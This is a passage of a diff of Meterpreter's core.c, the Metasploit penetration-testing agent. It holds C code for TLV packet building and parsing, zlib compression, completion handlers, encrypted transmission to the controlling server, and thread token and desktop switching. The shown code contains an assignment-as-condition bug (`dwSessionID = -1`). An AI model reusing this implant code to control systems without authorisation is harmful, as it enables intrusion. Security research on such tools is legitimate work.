TlvType type, BOOL val) -{ - return packet_add_tlv_raw(packet, type, (PUCHAR)&val, 1); -} - -/*! - * @brief Add a group TLV to a packet. - * @details A TLV group is a TLV that contains multiple sub-TLVs. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param entries Pointer to the array of TLV entries to add. - * @param numEntries Count of the number of TLV entries in the \c entries array. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD numEntries) -{ - DWORD totalSize = 0, - offset = 0, - index = 0, - res = ERROR_SUCCESS; - PCHAR buffer = NULL; - - // Calculate the total TLV size. - for (index = 0; index < numEntries; index++) - { - totalSize += entries[index].header.length + sizeof(TlvHeader); - } - - do - { - // Allocate storage for the complete buffer - if (!(buffer = (PCHAR)malloc(totalSize))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Copy the memory into the new buffer - for (index = 0; index < numEntries; index++) - { - TlvHeader rawHeader; - - // Convert byte order for storage - rawHeader.length = htonl(entries[index].header.length + sizeof(TlvHeader)); - rawHeader.type = htonl((DWORD)entries[index].header.type); - - // Copy the TLV header & payload - memcpy(buffer + offset, &rawHeader, sizeof(TlvHeader)); - memcpy(buffer + offset + sizeof(TlvHeader), entries[index].buffer, entries[index].header.length); - - // Update the offset into the buffer - offset += entries[index].header.length + sizeof(TlvHeader); - } - - // Now add the TLV group with its contents populated - res = packet_add_tlv_raw(packet, type, buffer, totalSize); - - } while (0); - - // Free the temporary buffer - SAFE_FREE(buffer); - - return res; -} - -/*! - * @brief Add an array of TLVs to a packet. - * @param packet Pointer to the packet to add the values to. - * @param entries Pointer to the array of TLV entries to add. - * @param numEntries Count of the number of TLV entries in the \c entries array. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlvs(Packet *packet, Tlv *entries, DWORD numEntries) -{ - DWORD index; - - for (index = 0; index < numEntries; index++) - { - packet_add_tlv_raw(packet, (TlvType)entries[index].header.type, entries[index].buffer, entries[index].header.length); - } - - return ERROR_SUCCESS; -} - -/*! - * @brief Add a raw value TLV to a packet, with compression. - * @details The value given in the \c buf parameter will be compressed with zlib. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param buf Pointer to the data that is to be compressed and added. - * @param length Number of bytes in \c buf to compress. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_raw_compressed(Packet *packet, TlvType type, LPVOID buf, DWORD length) -{ - DWORD result = ERROR_SUCCESS; - DWORD headerLength = sizeof(TlvHeader); - PUCHAR newPayload = NULL; - BYTE * compressed_buf = NULL; - DWORD realLength = 0; - DWORD newPayloadLength = 0; - DWORD compressed_length = (DWORD)(1.01 * (length + 12) + 1); - - do - { - compressed_buf = (BYTE *)malloc(compressed_length); - if (!compressed_buf) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - if (compress2(compressed_buf, &compressed_length, buf, length, Z_BEST_COMPRESSION) != Z_OK) - { - result = ERROR_UNSUPPORTED_COMPRESSION; - break; - } - - realLength = compressed_length + headerLength; - newPayloadLength = packet->payloadLength + realLength; - - // Allocate/Reallocate the packet's payload - if (packet->payload) - { - newPayload = (PUCHAR)realloc(packet->payload, newPayloadLength); - } - else - { - newPayload = (PUCHAR)malloc(newPayloadLength); - } - - if (!newPayload) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Populate the new TLV - ((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength); - ((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type); - - memcpy(newPayload + packet->payloadLength + headerLength, compressed_buf, compressed_length); - - // Update the header length and payload length - packet->header.length = htonl(ntohl(packet->header.length) + realLength); - packet->payload = newPayload; - packet->payloadLength = newPayloadLength; - - result = ERROR_SUCCESS; - - } while (0); - - SAFE_FREE(compressed_buf); - - return result; -} - -/*! - * @brief Add an arbitrary raw value TLV to a packet. - * @details The value given in the \c buf parameter will _not_ be compressed. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param buf Pointer to the data that is to be added. - * @param length Number of bytes in \c buf to add. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length) -{ - DWORD headerLength = sizeof(TlvHeader); - DWORD realLength = length + headerLength; - DWORD newPayloadLength = packet->payloadLength + realLength; - PUCHAR newPayload = NULL; - - // check if this TLV is to be compressed... - if ((type & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) - { - return packet_add_tlv_raw_compressed(packet, type, buf, length); - } - - // Allocate/Reallocate the packet's payload - if (packet->payload) - { - newPayload = (PUCHAR)realloc(packet->payload, newPayloadLength); - } - else - { - newPayload = (PUCHAR)malloc(newPayloadLength); - } - - if (!newPayload) - { - return ERROR_NOT_ENOUGH_MEMORY; - } - - // Populate the new TLV - ((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength); - ((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type); - - memcpy(newPayload + packet->payloadLength + headerLength, buf, length); - - // Update the header length and payload length - packet->header.length = htonl(ntohl(packet->header.length) + realLength); - packet->payload = newPayload; - packet->payloadLength = newPayloadLength; - - return ERROR_SUCCESS; -} - -/*! - * @brief Check if a TLV is NULL-terminated. - * @details The function checks the data within the range of bytes specified by - * the \c length property of the TLV \c header. - * @param tlv Pointer to the TLV to check. - * @return Indication of whether the TLV is terminated with a \c NULL byte or not. - * @retval ERROR_SUCCESS A \c NULL byte is present. - * @retval ERROR_NOT_FOUND No \c NULL byte is present. - * @sa TlvHeader - */ -DWORD packet_is_tlv_null_terminated( Tlv *tlv ) -{ - if ((tlv->header.length) && (tlv->buffer[tlv->header.length - 1] != 0)) - { - return ERROR_NOT_FOUND; - } - - return ERROR_SUCCESS; -} - -/*! - * @brief Get the TLV type of the packet. - * @param packet Pointer to the packet to get the type from. - * @return \c PacketTlvType for the given \c Packet. - */ -PacketTlvType packet_get_type( Packet *packet ) -{ - return (PacketTlvType)ntohl( packet->header.type ); -} - -/*! - * @brief Get the TLV meta-type of the packet. - * @param packet Pointer to the packet to get the meta-type from. - * @return \c TlvMetaType for the given \c Packet. - */ -TlvMetaType packet_get_tlv_meta( Packet *packet, Tlv *tlv ) -{ - return TLV_META_TYPE_MASK( tlv->header.type ); -} - -/*! - * @brief Get a TLV of a given type from the packet. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get. - * @param tlv Pointer to the TLV that will receive the data. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_FOUND Unable to find the TLV. - */ -DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv) -{ - return packet_enum_tlv(packet, 0, type, tlv); -} - -/*! - * @brief Get a string TLV from the packet. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get. - * @param tlv Pointer to the TLV that will receive the data. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_FOUND Unable to find the TLV or the string - * value is not NULL-terminated. - */ -DWORD packet_get_tlv_string( Packet *packet, TlvType type, Tlv *tlv ) -{ - DWORD res; - - if ((res = packet_get_tlv(packet, type, tlv)) == ERROR_SUCCESS) - { - res = packet_is_tlv_null_terminated(tlv); - } - - return res; -} - -/*! - * @brief Get a TLV of a given type from a group TLV in the packet. - * @param packet Pointer to the packet to get the TLV from. - * @param group Pointer to the group TLV to get the value from. - * @param type Type of TLV to get. - * @param tlv Pointer to the TLV that will receive the data. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_FOUND Unable to find the TLV. - */ -DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type, Tlv *entry) -{ - return packet_find_tlv_buf(packet, group->buffer, group->header.length, 0, type, entry); -} - -/*! - * @brief Enumerate a TLV (with the option of constraining its type). - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get (optional). - * @param tlv Pointer to the TLV that will receive the data. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_FOUND Unable to find the TLV. - */ -DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv) -{ - return packet_find_tlv_buf(packet, packet->payload, packet->payloadLength, index, type, tlv); -} - -/*! - * @brief Get the string value of a TLV. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get (optional). - * @return Pointer to the string value, if found. - * @retval NULL The string value was not found in the TLV. - * @retval Non-NULL Pointer to the string value. - */ -PCHAR packet_get_tlv_value_string( Packet *packet, TlvType type ) -{ - Tlv stringTlv; - PCHAR string = NULL; - - if (packet_get_tlv_string(packet, type, &stringTlv) == ERROR_SUCCESS) - { - string = (PCHAR)stringTlv.buffer; - } - - return string; -} - -/*! - * @brief Get the string value of a TLV as a wchar_t string. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get (optional). - * @return Pointer to the string value, if found. - * @retval NULL The string value was not found in the TLV. - * @retval Non-NULL Pointer to the string value (must be released with free()). - * @remark This function allocates a new string and therefore must be released - * using free(). - */ -wchar_t* packet_get_tlv_value_wstring(Packet* packet, TlvType type) -{ - size_t size; - wchar_t* result = NULL; - PCHAR string = packet_get_tlv_value_string(packet, type); - - if (string) - { - size = mbstowcs(NULL, string, 0) + 1; - result = (wchar_t*)calloc(size, sizeof(wchar_t)); - if (result) - { - mbstowcs(result, string, size); - } - } - return result; -} - -/*! - * @brief Get the unsigned int value of a TLV. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get (optional). - * @return The value found in the TLV. - * @todo On failure, 0 is returned. We need to make sure this is the right - * thing to do because 0 might also be a valid value. - */ -UINT packet_get_tlv_value_uint(Packet *packet, TlvType type) -{ - Tlv uintTlv; - - if ((packet_get_tlv(packet, type, &uintTlv) != ERROR_SUCCESS) || (uintTlv.header.length < sizeof(DWORD))) - { - return 0; - } - - return ntohl(*(LPDWORD)uintTlv.buffer); -} - -/*! - * @brief Get the raw value of a TLV. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get (optional). - * @return The value found in the TLV. - */ -BYTE * packet_get_tlv_value_raw(Packet * packet, TlvType type) -{ - Tlv tlv; - - if (packet_get_tlv(packet, type, &tlv) != ERROR_SUCCESS) - { - return NULL; - } - - return tlv.buffer; -} - -/*! - * @brief Get the quad-word value of a TLV. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get (optional). - * @return The value found in the TLV. - * @todo On failure, 0 is returned. We need to make sure this is the right - * thing to do because 0 might also be a valid value. - */ -QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type) -{ - Tlv qwordTlv; - - if ((packet_get_tlv(packet, type, &qwordTlv) != ERROR_SUCCESS) || (qwordTlv.header.length < sizeof(QWORD))) - { - return 0; - } - - return ntohq(*(QWORD *)qwordTlv.buffer); -} - -/*! - * @brief Get the boolean value of a TLV. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get (optional). - * @return The value found in the TLV. - * @todo On failure, FALSE is returned. We need to make sure this is the right - * thing to do because FALSE might also be a valid value. - */ -BOOL packet_get_tlv_value_bool(Packet *packet, TlvType type) -{ - Tlv boolTlv; - BOOL val = FALSE; - - if (packet_get_tlv(packet, type, &boolTlv) == ERROR_SUCCESS) - { - val = (BOOL)(*(PCHAR)boolTlv.buffer); - } - - return val; -} - -/*! - * @brief Add an exception to a packet. - * @details When adding an exception, both a TLV_EXCEPTION_CODE and TLV_EXCEPTION_STRING - * are added to the packet. - * @param packet Pointer to the packet to add the detail to. - * @param code Exception code. - * @param fmt Form string for the exception string. - * @param ... Varargs for the format string. - * @return Indication of success or failure. - * @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the request packet. - * @retval ERROR_SUCCESS Transmission was successful. - */ -DWORD packet_add_exception(Packet *packet, DWORD code, PCHAR fmt, ...) -{ - DWORD codeNbo = htonl(code); - char buf[8192]; - Tlv entries[2]; - va_list ap; - - // Ensure null termination - buf[sizeof(buf)-1] = 0; - - va_start(ap, fmt); - _vsnprintf(buf, sizeof(buf)-1, fmt, ap); - va_end(ap); - - // Populate the TLV group array - entries[0].header.type = TLV_TYPE_EXCEPTION_CODE; - entries[0].header.length = 4; - entries[0].buffer = (PUCHAR)&codeNbo; - entries[1].header.type = TLV_TYPE_EXCEPTION_STRING; - entries[1].header.length = (DWORD)strlen(buf) + 1; - entries[1].buffer = (PUCHAR)buf; - - // Add the TLV group, or try to at least. - return packet_add_tlv_group(packet, TLV_TYPE_EXCEPTION, entries, 2); -} - -/*! - * @brief Enumerate TLV entries until hitting a given index or type. - * @details This function will iterate through the given payload until one of the following conditions is true: - * - The end of the payload is encountered - * - The specified index is reached - * - A TLV of the specified type is reached - * - * If the first condition is met, the function returns with a failure. - * @param packet Pointer to the packet to get the TLV from. - * @param payload Pointer to the payload to parse. - * @param index Index of the TLV entry to find (optional). - * @param type Type of TLV to get (optional). - * @param tlv Pointer to the TLV that will receive the data. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_FOUND Unable to find the TLV. - */ -DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index, TlvType type, Tlv *tlv) -{ - DWORD currentIndex = 0; - DWORD offset = 0, length = 0; - BOOL found = FALSE; - PUCHAR current; - - vdprintf("[PKT FIND] Looking for type %u", type); - - memset(tlv, 0, sizeof(Tlv)); - - do - { - // Enumerate the TLV's - for (current = payload, length = 0; !found && current; offset += length, current += length) - { - TlvHeader *header = (TlvHeader *)current; - TlvType current_type = TLV_TYPE_ANY; // effectively '0' - - if ((current + sizeof(TlvHeader) > payload + payloadLength) || (current < payload)) - { - vdprintf("[PKT FIND] Reached end of packet buffer"); - break; - } - - // TLV's length - length = ntohl(header->length); - vdprintf("[PKT FIND] TLV header length: %u", length); - - // Matching type? - current_type = (TlvType)ntohl(header->type); - vdprintf("[PKT FIND] TLV header type: %u", current_type); - - // if the type has been compressed, temporarily remove the compression flag as compression is to be transparent. - if ((current_type & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) - { - current_type = (TlvType)(current_type ^ TLV_META_TYPE_COMPRESSED); - } - - // check if the types match? - if ((current_type != type) && (type != TLV_TYPE_ANY)) - { - vdprintf("[PKT FIND] Types don't match, skipping."); - continue; - } - - // Matching index? - if (currentIndex != index) - { - vdprintf("[PKT FIND] wrong index, skipping."); - currentIndex++; - continue; - } - - if ((current + length > payload + payloadLength) || (current < payload)) - { - vdprintf("[PKT FIND] if ((current + length > payload + payloadLength) || (current < payload))"); - vdprintf("[PKT FIND] Current: %p", current); - vdprintf("[PKT FIND] length: %x", length); - vdprintf("[PKT FIND] Current + length: %p", current + length); - vdprintf("[PKT FIND] payload: %p", payload); - vdprintf("[PKT FIND] payloadLength: %x", payloadLength); - vdprintf("[PKT FIND] payload + payloadLength: %p", payload + payloadLength); - vdprintf("[PKT FIND] diff: %x", current + length - (payload + payloadLength)); - break; - } - - tlv->header.type = ntohl(header->type); - tlv->header.length = ntohl(header->length) - sizeof(TlvHeader); - tlv->buffer = payload + offset + sizeof(TlvHeader); - vdprintf("[PKT FIND] Found!"); - - if ((tlv->header.type & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) - { - DECOMPRESSED_BUFFER * decompressed_buf = NULL; - - do - { - decompressed_buf = (DECOMPRESSED_BUFFER *)malloc(sizeof(DECOMPRESSED_BUFFER)); - if (!decompressed_buf) - { - break; - } - - // the first DWORD in a compressed buffer is the decompressed buffer length. - decompressed_buf->length = ntohl(*(DWORD *)tlv->buffer); - if (!decompressed_buf->length) - { - break; - } - - decompressed_buf->buffer = (BYTE *)malloc(decompressed_buf->length); - if (!decompressed_buf->buffer) - { - break; - } - - tlv->header.length -= sizeof(DWORD); - tlv->buffer += sizeof(DWORD); - - if (uncompress((Bytef*)decompressed_buf->buffer, &decompressed_buf->length, tlv->buffer, tlv->header.length) != Z_OK) - { - break; - } - - tlv->header.type = tlv->header.type ^ TLV_META_TYPE_COMPRESSED; - tlv->header.length = decompressed_buf->length; - tlv->buffer = (PUCHAR)decompressed_buf->buffer; - - if (!packet->decompressed_buffers) - { - packet->decompressed_buffers = list_create(); - } - - if (!packet->decompressed_buffers) - { - break; - } - - // each packet has a list of decompressed buffers which is used to - // wipe and fee all decompressed buffers upon the packet being destroyed. - list_push(packet->decompressed_buffers, decompressed_buf); - - found = TRUE; - - } while (0); - - if (!found && decompressed_buf) - { - SAFE_FREE(decompressed_buf->buffer); - SAFE_FREE(decompressed_buf); - } - } - else - { - found = TRUE; - } - } - - } while (0); - - return (found) ? ERROR_SUCCESS : ERROR_NOT_FOUND; -} - -/*! - * @brief Add a completion routine for a given request identifier. - * @return Indication of success or failure. - * @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the \c PacketCompletionRouteEntry instance. - * @retval ERROR_SUCCESS Addition was successful. - */ -DWORD packet_add_completion_handler(LPCSTR requestId, PacketRequestCompletion *completion) -{ - PacketCompletionRoutineEntry *entry; - DWORD res = ERROR_SUCCESS; - - do - { - // Allocate the entry - if (!(entry = (PacketCompletionRoutineEntry *)malloc(sizeof(PacketCompletionRoutineEntry)))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Copy the completion routine information - memcpy(&entry->handler, completion, sizeof(PacketRequestCompletion)); - - // Copy the request identifier - if (!(entry->requestId = _strdup(requestId))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - - free(entry); - - break; - } - - // Add the entry to the list - entry->next = packetCompletionRoutineList; - packetCompletionRoutineList = entry; - - } while (0); - - return res; -} - -/*! - * @brief Call the register completion handler(s) for the given request identifier. - * @details Only those handlers that match the given request are executed. - * @param remote Pointer to the \c Remote instance for this call. - * @param response Pointer to the response \c Packet. - * @param requestId ID of the request to execute the completion handlers of. - * @return Indication of success or failure. - * @retval ERROR_NOT_FOUND Unable to find any matching completion handlers for the request. - * @retval ERROR_SUCCESS Execution was successful. - */ -DWORD packet_call_completion_handlers( Remote *remote, Packet *response, LPCSTR requestId ) -{ - PacketCompletionRoutineEntry *current; - DWORD result = packet_get_tlv_value_uint(response, TLV_TYPE_RESULT); - DWORD matches = 0; - Tlv methodTlv; - LPCSTR method = NULL; - - // Get the method associated with this packet - if (packet_get_tlv_string(response, TLV_TYPE_METHOD, &methodTlv) == ERROR_SUCCESS) - { - method = (LPCSTR)methodTlv.buffer; - } - -// Enumerate the completion routine list -for (current = packetCompletionRoutineList; current; current = current->next) -{ - // Does the request id of the completion entry match the packet's request - // id? - if (strcmp(requestId, current->requestId)) - { - continue; - } - - // Call the completion routine - current->handler.routine(remote, response, current->handler.context, method, result); - - // Increment the number of matched handlers - matches++; -} - -if (matches) -{ - packet_remove_completion_handler(requestId); -} - -return (matches > 0) ? ERROR_SUCCESS : ERROR_NOT_FOUND; -} - -/*! - * @brief Remove a set of completion routine handlers for a given request identifier. - * @param requestId ID of the request. - * @return \c ERROR_SUCCESS is always returned. - */ -DWORD packet_remove_completion_handler(LPCSTR requestId) -{ - PacketCompletionRoutineEntry *current, *next, *prev; - - // Enumerate the list, removing entries that match - for (current = packetCompletionRoutineList, next = NULL, prev = NULL; - current; - prev = current, current = next) - { - next = current->next; - - if (strcmp(requestId, current->requestId)) - { - continue; - } - - // Remove the entry from the list - if (prev) - { - prev->next = next; - } - else - { - packetCompletionRoutineList = next; - } - - // Deallocate it - free((PCHAR)current->requestId); - free(current); - } - - return ERROR_SUCCESS; -} - -/*! - * @brief Transmit a response with just a result code to the remote endpoint. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the \c Packet that is to be sent. - * @param res Result code to return. - * @return An indication of the result of processing the transmission request. - */ -DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res) -{ - Packet *response = packet_create_response(packet); - - if (!response) - { - return ERROR_NOT_ENOUGH_MEMORY; - } - - return packet_transmit_response(res, remote, response); -} - -/*! - * @brief Transmit a `TLV_TYPE_RESULT` response if `response` is present. - * @param result The result to be sent. - * @param remote Reference to the remote connection to send the response to. - * @param response the Response to add the `result` to. - */ -DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response) -{ - if (response) - { - packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); - return packet_transmit(remote, response, NULL); - } - return ERROR_NOT_ENOUGH_MEMORY; -} - -DWORD packet_add_request_id(Packet* packet) -{ - Tlv requestId = { 0 }; - - // If the packet does not already have a request identifier, create one for it - if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS) - { - DWORD index; - CHAR rid[32]; - - rid[sizeof(rid)-1] = 0; - - for (index = 0; index < sizeof(rid)-1; index++) - { - rid[index] = (rand() % 0x5e) + 0x21; - } - - packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid); - } - return ERROR_SUCCESS; -} - -DWORD packet_transmit(Remote* remote, Packet* packet, PacketRequestCompletion* completion) -{ - if (packet->partner != NULL && packet->partner->local) - { - dprintf("[TRANSMIT] Ignoring local packet"); - return ERROR_SUCCESS; - } - - Tlv requestId; - DWORD res; - BYTE* encryptedPacket = NULL; - DWORD encryptedPacketLength = 0; - - dprintf("[TRANSMIT] Sending packet to the server"); - packet_add_request_id(packet); - - // Always add the UUID to the packet as well, so that MSF knows who and what we are - packet_add_tlv_raw(packet, TLV_TYPE_UUID, remote->orig_config->session.uuid, UUID_SIZE); - - do - { - // If a completion routine was supplied and the packet has a request - // identifier, insert the completion routine into the list - if ((completion) && - (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, - &requestId) == ERROR_SUCCESS)) - { - packet_add_completion_handler((LPCSTR)requestId.buffer, completion); - } - - encrypt_packet(remote, packet, &encryptedPacket, &encryptedPacketLength); - dprintf("[PACKET] Sending packet to remote, length: %u", encryptedPacketLength); - - dprintf("[PACKET] Remote: %p", remote); - dprintf("[PACKET] Transport: %p", remote->transport); - dprintf("[PACKET] Packet Transmit: %p", remote->transport->packet_transmit); - SetLastError(remote->transport->packet_transmit(remote, encryptedPacket, encryptedPacketLength)); - } while (0); - - res = GetLastError(); - - if (encryptedPacket != NULL) - { - free(encryptedPacket); - } - - // Destroy the packet - packet_destroy(packet); - - return res; +/*! + * @file core.c + * @brief Definitions of core components of the Meterpreter suite. + * @details Much of what exists in the core files is used in almost every area + * of the Meterpreter code base, and hence it's very important. Don't + * change this stuff unless you know what you're doing! + */ +#include "metsrv.h" +#include "packet_encryption.h" +#include + +DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index, + TlvType type, Tlv *tlv); + +/*! @brief List element that contains packet completion routine details. */ +typedef struct _PacketCompletionRoutineEntry +{ + LPCSTR requestId; ///< Id of the request. + PacketRequestCompletion handler; ///< Handler to call on completion. + struct _PacketCompletionRoutineEntry *next; ///< Pointer to the next compleiont routine entry. +} PacketCompletionRoutineEntry; + +/*! + * @brief Reference to the list of packet completion routines. + * @details This pointer is a singularly-linked list which contains references + * to PacketCompletionRouteEntry items, each of which is processed + * when packet_call_completion_handlers is invoked. + */ +PacketCompletionRoutineEntry *packetCompletionRoutineList = NULL; + +/*! + * @todo I have no idea why this is here, need someone else to explain. + */ +HANDLE core_update_thread_token(Remote *remote, HANDLE token) +{ + HANDLE temp = NULL; + + lock_acquire(remote->lock); + do + { + temp = remote->thread_token; + + // A NULL token resets the state back to the server token + if (!token) + { + token = remote->server_token; + } + + // Assign the thread token + remote->thread_token = token; + + // Close the old token if its not one of the two active tokens + if (temp && temp != remote->server_token && temp != remote->thread_token) + { + CloseHandle(temp); + } + } while (0); + + lock_release(remote->lock); + return(token); +} + +/*! + * @brief Update the session/station/desktop to be used by multi threaded meterpreter for desktop related operations. + * @details We dont store the handles as it is more convienient to use strings, especially as we cant use the regular API + * to break out of sessions. + * @remark It is up to the caller to free any station/desktop name provided as internally we use \c strdup. + * @param remote Pointer to the remote connection. + * @param dwSessionID ID of the session which contains the window station in \c cpStationName. + * @param cpStationName Name of the window station that contains the desktop in \c cpDesktopName. + * @param cpDesktopName Name of the desktop to switch to. + */ +VOID core_update_desktop(Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName) +{ + DWORD temp_session = -1; + char * temp_station = NULL; + char * temp_desktop = NULL; + + lock_acquire(remote->lock); + + do + { + temp_session = remote->curr_sess_id; + + // A session id of -1 resets the state back to the servers real session id + if (dwSessionID = -1) + { + dwSessionID = remote->orig_sess_id; + } + + // Assign the new session id + remote->curr_sess_id = dwSessionID; + + temp_station = remote->curr_station_name; + + // A NULL station resets the station back to the origional process window station + if (!cpStationName) + { + cpStationName = remote->orig_station_name; + } + + // Assign the current window station name to use + remote->curr_station_name = _strdup(cpStationName); + + // free the memory for the old station name if its not one of the two active names + if (temp_station && temp_station != remote->orig_station_name && temp_station != remote->curr_station_name) + { + free(temp_station); + } + + temp_desktop = remote->curr_desktop_name; + + // A NULL station resets the desktop back to the origional process desktop + if (!cpDesktopName) + { + cpDesktopName = remote->orig_desktop_name; + } + + // Assign the current window desktop name to use + remote->curr_desktop_name = _strdup(cpDesktopName); + + // free the memory for the old desktop name if its not one of the two active names + if (temp_desktop && temp_desktop != remote->orig_desktop_name && temp_desktop != remote->curr_desktop_name) + { + free(temp_desktop); + } + + } while (0); + + lock_release(remote->lock); +} + +/*! + * @brief Create a packet of a given type (request/response) and method. + * @param type The TLV type that this packet represents. + * @param method TLV method type (can be \c NULL). + * @return Pointer to the newly created \c Packet. + */ +Packet *packet_create(PacketTlvType type, LPCSTR method) +{ + Packet *packet = NULL; + BOOL success = FALSE; + + do + { + if (!(packet = (Packet *)malloc(sizeof(Packet)))) + { + break; + } + + memset(packet, 0, sizeof(Packet)); + + // Initialize the header length and message type + packet->header.length = htonl(sizeof(TlvHeader)); + packet->header.type = htonl((DWORD)type); + + // Initialize the payload to be blank + packet->payload = NULL; + packet->payloadLength = 0; + + // Add the method TLV if provided + if (method && packet_add_tlv_string(packet, TLV_TYPE_METHOD, method) != ERROR_SUCCESS) + { + break; + } + + success = TRUE; + + } while (0); + + // Clean up the packet on failure + if (!success && packet) + { + packet_destroy(packet); + + packet = NULL; + } + + return packet; +} + +/*! + * @brief Create a packet that is used to contain a subgroup. + * @returns An instance of a packet to use as a group container. + * @remarks Group packets can be used to arbitrarily nest groupings prior to + * sending the packet to the client. + */ +Packet* packet_create_group() +{ + Packet* packet = NULL; + do + { + if (!(packet = (Packet*)malloc(sizeof(Packet)))) + { + break; + } + + memset(packet, 0, sizeof(Packet)); + + // we don't need to worry about the TLV header at this point + // so we'll ignore it + + // Initialize the payload to be blank + packet->payload = NULL; + packet->payloadLength = 0; + + return packet; + } while (0); + + SAFE_FREE(packet); + + return NULL; +} + +/*! + * @brief Add a group packet to the parent packet. + * @param packet Pointer to the container packet that the group is to be added to. + * @param type The type of group packet being added. + * @param groupPacket the packet containing the group data (created by `packet_create_group`). + * @returns Indication of success or failure. + * @remarks The function calls `packet_destroy` on the `groupPacket` if adding the packet succeeds. + */ +DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket) +{ + DWORD result = packet_add_tlv_raw(packet, type, groupPacket->payload, groupPacket->payloadLength); + if (result == ERROR_SUCCESS) + { + packet_destroy(groupPacket); + return ERROR_SUCCESS; + } + + return result; +} + +/*! + * @brief Create a response packet from a request. + * @details Create a response packet from a request, referencing the requestors + * message identifier. + * @param request The request \c Packet to build a response for. + * @return Pointer to a new \c Packet. + */ +Packet *packet_create_response(Packet *request) +{ + Packet *response = NULL; + Tlv method, requestId; + BOOL success = FALSE; + PacketTlvType responseType; + + if (packet_get_type(request) == PACKET_TLV_TYPE_PLAIN_REQUEST) + { + responseType = PACKET_TLV_TYPE_PLAIN_RESPONSE; + } + else + { + responseType = PACKET_TLV_TYPE_RESPONSE; + } + + do + { + // Get the request TLV's method + if (packet_get_tlv_string(request, TLV_TYPE_METHOD, &method) != ERROR_SUCCESS) + { + vdprintf("[PKT] Can't find method"); + break; + } + + // Try to allocate a response packet + if (!(response = packet_create(responseType, (PCHAR)method.buffer))) + { + vdprintf("[PKT] Can't create response"); + break; + } + + // Get the request TLV's request identifier + if (packet_get_tlv_string(request, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS) + { + vdprintf("[PKT] Can't find request ID"); + break; + } + + // Add the request identifier to the packet + packet_add_tlv_string(response, TLV_TYPE_REQUEST_ID, (PCHAR)requestId.buffer); + + // If the packet that is being handled is considered local, then we + // associate the response with the request so that it can be handled + // locally (and vice versa) + if (request->local) + { + request->partner = response; + response->partner = request; + } + + success = TRUE; + + } while (0); + + // Cleanup on failure + if (!success) + { + if (response) + { + packet_destroy(response); + } + + response = NULL; + } + + return response; +} + +/*! + * @brief Destroy the packet context and the payload buffer. + * @param packet Pointer to the \c Packet to destroy. + */ +VOID packet_destroy(Packet * packet) +{ + if (packet == NULL) + { + return; + } + + if (packet->payload) + { + memset(packet->payload, 0, packet->payloadLength); + free(packet->payload); + } + + if (packet->decompressed_buffers) + { + while (TRUE) + { + DECOMPRESSED_BUFFER * buf = list_pop(packet->decompressed_buffers); + if 